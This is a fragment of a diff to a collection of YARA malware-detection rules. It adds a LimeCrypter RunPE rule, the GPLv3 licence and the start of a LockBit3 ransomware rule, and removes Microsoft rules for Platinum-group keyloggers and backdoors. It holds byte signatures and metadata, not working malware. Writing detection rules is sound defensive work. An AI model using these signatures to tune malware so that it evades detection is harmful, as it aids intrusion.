+		description = "Detects LimeCrypter RunPE module. LimeCrypter is an open source .NET based crypter and loader commonly used by threat actors"
+		author = "Jonathan Peters"
+		id = "06ecd638-0102-5762-b363-fdc390dda04b"
+		date = "2024-01-16"
+		modified = "2024-01-16"
+		reference = "https://github.com/NYAN-x-CAT/Lime-Crypter/tree/master"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/mal/mal_net_limecrypter_runpe.yar#L1-L22"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "bcc8c679acfc3aabf22ebdb2349b1fabd351a89fd23a716d85154049d352dd12"
+		logic_hash = "b01a68c60d62cf94ef16340316acb9b96d1e671c372559b86a8e6a5d8e80f7d9"
+		score = 80
 		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "c1c950bc6a2ad67488e675da4dfc8916831239a7"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
+
+	strings:
+		$op1 = { 1F 1A 58 1F 1A 58 28 }
+		$op2 = { 20 B3 00 00 00 8D ?? 00 00 01 13 ?? 11 ?? 16 20 02 00 01 00 }
+		$op3 = { 11 0? 11 0? 20 00 30 00 00 1F 40 28 ?? 00 00 06 }
+		$op4 = { 6E 20 FF 7F 00 00 6A FE 02 }
+		$s1 = "RawSecurityDescriptor" ascii
+		$s2 = "CommonAce" ascii
+
+	condition:
+		uint16(0)==0x5a4d and all of ($s*) and 2 of ($op*)
+}
+/*
+ * YARA Rule Set
+ * Repository Name: craiu
+ * Repository: https://github.com/craiu/yararules
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 23cf0ca22021fa3684e180a18416b9ae1b695243
+ * Number of Rules: 13
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ *                     GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
 
-	strings:
-		$str1 = {C6 44 24 ?? 68 C6 44 24 ?? 4D C6 44 24 ?? 53 C6 44 24 ?? 56 C6 44 24 ?? 00}
-		$str2 = "OUEMM/EMM"
-		$str3 = {85 C9 7E 08 FE 0C 10 40 3B C1 7C F8 C3}
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
 
-	condition:
-		$str1 and $str2 and $str3
-}
-rule MICROSOFT_Trojan_Win32_Plaklog : PLATINUM
-{
-	meta:
-		description = "Hook-based keylogger"
-		author = "Microsoft"
-		id = "4faffe66-63fc-5498-be59-dbbbb909ad74"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L227-L246"
-		license_url = "N/A"
-		hash = "831a5a29d47ab85ee3216d4e75f18d93641a9819"
-		logic_hash = "af8dd0749d07f0b99cf3dd24bc144d38fe6db00f699bc7f45f197ac6e1663cad"
-		score = 75
-		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "e18750207ddbd939975466a0e01bd84e75327dda"
-		activity_group = "Platinum"
-		version = "1.0"
+Also add information on how to contact you by electronic and paper mail.
 
-	strings:
-		$str1 = "++[%s^^unknown^^%s]++"
-		$str2 = "vtfs43/emm"
-		$str3 = {33 C9 39 4C 24 08 7E 10 8B 44 24 04 03 C1 80 00 08 41 3B 4C 24 08 7C F0 C3}
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
 
-	condition:
-		$str1 and $str2 and $str3
-}
-rule MICROSOFT_Trojan_Win32_Plapiio : PLATINUM
-{
-	meta:
-		description = "JPin backdoor"
-		author = "Microsoft"
-		id = "538086b5-eb06-5e41-90d4-ab8f2b001c42"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L248-L267"
-		license_url = "N/A"
-		hash = "3119de80088c52bd8097394092847cd984606c88"
-		logic_hash = "580fb1377d98e7ffcb9823b5c485ff536813e3df5d8bded745373b2a3a82fcfd"
-		score = 75
-		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "3acb8fe2a5eb3478b4553907a571b6614eb5455c"
-		activity_group = "Platinum"
-		version = "1.0"
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
 
-	strings:
-		$str1 = "ServiceMain"
-		$str2 = "Startup"
-		$str3 = {C6 45 ?? 68 C6 45 ?? 4D C6 45 ?? 53 C6 45 ?? 56 C6 45 ?? 6D C6 45 ?? 6D}
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
 
-	condition:
-		$str1 and $str2 and $str3
-}
-rule MICROSOFT_Trojan_Win32_Plabit : PLATINUM
-{
-	meta:
-		description = "Installer component"
-		author = "Microsoft"
-		id = "cee48cbb-f980-50cc-b28a-2e80e7f1798b"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L269-L287"
-		license_url = "N/A"
-		logic_hash = "35f12d45c8ee5f8e2b0bcd57ae14c0ba52670abc1212f94aa276efbbe1043146"
-		score = 75
-		quality = 80
-		tags = "PLATINUM"
-		sample_sha1 = "6d1169775a552230302131f9385135d385efd166"
-		activity_group = "Platinum"
-		version = "1.0"
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
 
-	strings:
-		$str1 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
-		$str2 = "GetInstanceW"
-		$str3 = {8B D0 83 E2 1F 8A 14 0A 30 14 30 40 3B 44 24 04 72 EE}
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.
 
-	condition:
-		$str1 and $str2 and $str3
-}
-rule MICROSOFT_Trojan_Win32_Placisc2 : PLATINUM
+ */
+rule CRAIU_Crime_Lockbit3_Ransomware : FILE
 {
 	meta:
-		description = "Dipsind variant"
-		author = "Microsoft"
-		id = "a5557cfa-354c-5913-9b63-f53ffb294796"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L289-L309"
-		license_url = "N/A"
